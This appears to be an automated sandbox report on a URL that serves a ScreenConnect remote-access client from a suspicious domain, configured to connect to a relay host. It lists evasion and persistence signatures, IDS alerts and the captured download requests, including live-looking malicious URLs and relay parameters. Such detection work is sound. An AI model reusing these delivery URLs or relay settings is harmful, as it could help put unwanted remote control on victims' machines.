Windows Analysis Report
https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPq

Overview

General Information

Sample URL: https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2
Analysis ID: 1544862
Infos:

Detection

ScreenConnect Tool
Score: 68
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

.NET source code references suspicious native API functions
AI detected suspicious URL
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to hide user accounts
Enables network access during safeboot for specific services
Reads the Security eventlog
Reads the System eventlog
AV process strings found (often used to terminate AV products)
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Drops PE files
Drops certificate files (DER)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
May use bcdedit to modify the Windows boot settings
Modifies existing windows services
PE file contains an invalid checksum
PE file does not import any functions
PE file overlay found
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports
Stores files to the Windows start menu directory
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.4.254:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.219.254:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Misc\Bootstrapper\Release\ClickOnceRunner.pdb source: support.Client.exe, 0000000D.00000000.1408916929.000000000025B000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 974768.crdownload.0.dr, chromecache_128.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A346A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000012.00000002.1943559410.0000000002E62000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2409619705.0000000003041000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000015.00000002.2004992616.00000000010D0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000015.00000002.2005207241.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.dll0.14.dr, ScreenConnect.ClientService.dll.14.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000012.00000000.1939664334.00000000007FD000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.ClientService.exe0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32A8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000011.00000002.1949508964.000000001BB02000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll.14.dr, ScreenConnect.Windows.dll0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000011.00000000.1931309778.0000000000782000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32A4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000011.00000002.1946388041.00000000028C2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll0.14.dr, ScreenConnect.Client.dll.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb] source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32A4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000011.00000002.1946388041.00000000028C2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll0.14.dr, ScreenConnect.Client.dll.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbY/ source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A329F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000012.00000002.1944397148.0000000005402000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll0.14.dr, ScreenConnect.Core.dll.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A329F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000012.00000002.1944397148.0000000005402000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll0.14.dr, ScreenConnect.Core.dll.14.dr
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior

Networking
barindex
Enables network access during safeboot for specific services
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Registry value created: NULL Service
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2f0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2fZuAUNQxVB6zV6MkV%2fQ3PQ8O4IKEUzM%2b1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2fCUtP6CZ%2f6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2b48fuhT%2fYi9ukTBmorR&r=&i=Untitled%20Session HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49721
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49729
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49722
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49727
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49726
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49731
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49730
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 37.221.67.19:443 -> 192.168.2.16:49733
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.23
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: global traffic HTTP traffic detected: GET /Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2FCUtP6CZ%2F6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2B48fuhT%2FYi9ukTBmorR&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&i=Untitled%20Session&e=Support&y=Guest&r= HTTP/1.1Host: cp9856.chelokipotlester.icuConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=F4kWp8EGnV93ywk&MD=V8ZxmMLY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=cp3back96.site&p=8041&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2f0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2fZuAUNQxVB6zV6MkV%2fQ3PQ8O4IKEUzM%2b1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2fCUtP6CZ%2f6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2b48fuhT%2fYi9ukTBmorR&r=&i=Untitled%20Session HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=F4kWp8EGnV93ywk&MD=V8ZxmMLY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: cp9856.chelokipotlester.icuAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /apc/trans.gif?a75363d0418258491551ead6717ca895 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: c-ring.msedge.netConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /apc/trans.gif?3d4619f8959a0bb944ce9eb8ccf482ff HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: c-ring.msedge.netConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: cp9856.chelokipotlester.icu
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: cp3back96.site
Source: unknown HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A4109009A83X-BM-CBT: 1707317755X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 60X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Device-ClientSession: B2DC660161784379B3117A8C8CEC12A1X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109009A83X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 765Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3976000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3986000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3477000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32AC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.WindowsFileManager.exe0.14.dr, Unconfirmed 974768.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsClient.exe0.14.dr, chromecache_128.1.dr, ScreenConnect.ClientService.exe0.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr String found in binary or memory: 